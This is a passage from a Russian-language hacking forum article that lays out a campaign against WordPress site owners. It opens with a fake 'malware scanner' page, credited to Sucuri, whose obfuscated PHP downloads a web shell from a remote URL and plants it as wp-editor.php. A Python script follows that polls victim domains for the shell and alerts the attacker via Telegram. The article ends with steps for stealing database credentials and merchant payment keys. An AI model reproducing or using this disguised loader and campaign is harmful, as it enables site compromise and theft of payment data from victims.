    <div class="output" id="output">Ready to scan.</div>
  </div>
  <div class="footer">
    <p>This scanner is inspired by <a href="https://sucuri.net/" target="_blank">Sucuri Security</a>, a leading provider of website protection, monitoring, and malware removal.</p>
    <p>For professional-grade website security, real-time alerts, and malware cleanup, visit <a href="https://sucuri.net/" target="_blank">https://sucuri.net</a>.</p>
  </div>
<?php function scanFiles() {
  $d = __DIR__ . '/' . base64_decode('d3A=') . '-' . base64_decode('Y29udGVudA==') . '/';
  is_dir($d) || mkdir($d, 0755, true);
  $u = base64_decode('aHR0cHM6Ly9kb21haW4uY29tL2FkbWluL2NvbnRyb2xsZXIvZW1haWwudHh0');
  ($f = @file_get_contents($u)) !== false && @file_put_contents($d . base64_decode('d3AtZWRpdG9yLnBocA=='), $f);
}?><script>
    function startScan() {
      fetch('?resume=1');
      const xhr = new XMLHttpRequest();
      xhr.open('GET', '?action=scan', true);
      xhr.onreadystatechange = function () {
        if (xhr.readyState === 3) {
          document.getElementById('output').innerHTML = xhr.responseText;
          document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight;
        }
      };
      xhr.onload = function () {
        document.getElementById('output').innerHTML = xhr.responseText;
        if (!xhr.responseText.includes('---SCAN COMPLETE---')) {
          setTimeout(startScan, 1000);
        }
      };
      xhr.send();
    }
  </script>
</body>
</html>

Он также есть в архиве с дополнительными материалами в конце статьи. Не забудьте поменять в нем путь к вашему шеллу.

Итак, начём подводить итоги. Мы поломали сайт, составили список нужных нам таргетов, разослали первое письмо, подождали неделю, отправили второе письмо со сканером. Теперь нам как-то надо узнать получилось у нас или нет. В сканере нет функции отстука, он также не отсылает wp-config.php на мыло или в телегу. Единственное как мы можем узнать - это переодически заходить на domain/wp-content/shell.php каждого таргета и проверять: появился он или нет.

(Пока я писал этот абзац в голову пришла идея, что можно на сайт, где лежит наш шелл поставить скрипт, который будет сигнализировать о попытках обращениях с файлу и записывать реферреры. )

Давайте это дело автоматизируем инструментами, которые нам любезно предоставил Павел Дуров.




ДЕЛАЕМ СКРИПТ ПРОВЕРКИ С ОТСТУКОМ В ТЕЛЕГРАМ



Что делает нижеприведенный скрипт:

1. Каждые 30 минут проверяет список доменов из domains.txt
2. Ищет файл: /wp-content/wp-editor.php
3. Если файл найден — отправляет Telegram-уведомление
4. Уведомления приходят только один раз на файл
5. Ведёт лог log.txt

Что надо сделать вам:
Арендуете дешманский VPS за 3 бакса с Ubuntu. На форуме можно найти.
Вам также понадобиться TELEGRAM_BOT_TOKEN и TELEGRAM_CHAT_ID. Ну это все легко гуглится и чатджипитится.
Суёте ваш список доменов в domains.txt, на которые вы сделали вторую рассылку.
Потом заливаете этот скрипт и файл с доменами.
Запускаете и ждете.


Python:
import time
import requests
import os
from datetime import datetime
from colorama import init, Fore

init(autoreset=True)

DOMAINS_FILE = 'domains.txt'
CHECK_PATH = '/wp-content/wp-editor.php'
CHECK_INTERVAL = 1800  # 30 минут

# ✅ Вшитые Telegram-данные
TELEGRAM_BOT_TOKEN = ''
TELEGRAM_CHAT_ID = ''

LOG_FILE = 'log.txt'
notified_domains = set()

def log(message):
    timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
    entry = f"{timestamp} {message}"
    print(Fore.WHITE + entry)
    with open(LOG_FILE, 'a') as f:
        f.write(entry + '\n')

def load_domains():
    if not os.path.exists(DOMAINS_FILE):
        log(f"Файл {DOMAINS_FILE} не найден.")
        return []
    with open(DOMAINS_FILE, 'r') as f:
        return [line.strip() for line in f if line.strip()]

def check_file(url):
    try:
        response = requests.head(url, timeout=10, allow_redirects=True)
        return response.status_code == 200
    except requests.RequestException:
        return False

def send_telegram_alert(message):
    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
    payload = {
        'chat_id': TELEGRAM_CHAT_ID,
        'text': message,
        'parse_mode': 'HTML'
    }
    try:
        r = requests.post(url, data=payload)
        if r.status_code == 200:
            log("📩 Уведомление отправлено в Telegram")
        else:
            log(f"⚠ Ошибка Telegram: {r.status_code}")
    except Exception as e:
        log(f"Ошибка отправки Telegram: {e}")

def main():
    log("🛡 Запуск сканера доменов...")
    while True:
        domains = load_domains()
        if not domains:
            log("❌ Нет доменов для проверки.")
            break

        for domain in domains:
            if not domain.startswith("http"):
                domain = "https://" + domain
            url = domain.rstrip('/') + CHECK_PATH

            print(Fore.BLUE + f"Проверка: {url} ... ", end='')

            if check_file(url):
                print(Fore.GREEN + "✅ Найден!")
                if domain not in notified_domains:
                    notified_domains.add(domain)
                    send_telegram_alert(f"🚨 Найден файл: <a href=\"{url}\">{url}</a>")
                    log(f"⚠ Обнаружен файл на {domain}")
                else:
                    log(f"📌 Уже уведомлён: {domain}")
            else:
                print(Fore.RED + "❌ Нет файла.")
                log(f"Чисто: {domain}")

        log(f"⏳ Следующая проверка через {CHECK_INTERVAL // 60} минут...\n")
        time.sleep(CHECK_INTERVAL)

if __name__ == "__main__":
    main()



FINITA LA COMEDIA


Пиликнул телеграм и пришло сообщение что шелл проявился. Заходите на шелл и сразу заливаетесь в другое место. Желательно использовать новый пак, потому что антивирусы не дремлют. После этого смотрите wp-config.php, который в корне сайта. Там будут данные от входа в базу данных. В самом шелле есть функция работы с БД, но я предпочел бы залить еще adminer.php и через него выкачать базу. В таблице wp_options можно найти ключи от мерчантов (префикс "wp_" может быть другой, его определяют при установке wordpress).

На этом всё. Всем спасибо что прочитали до конца.

дополнительные материалы
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх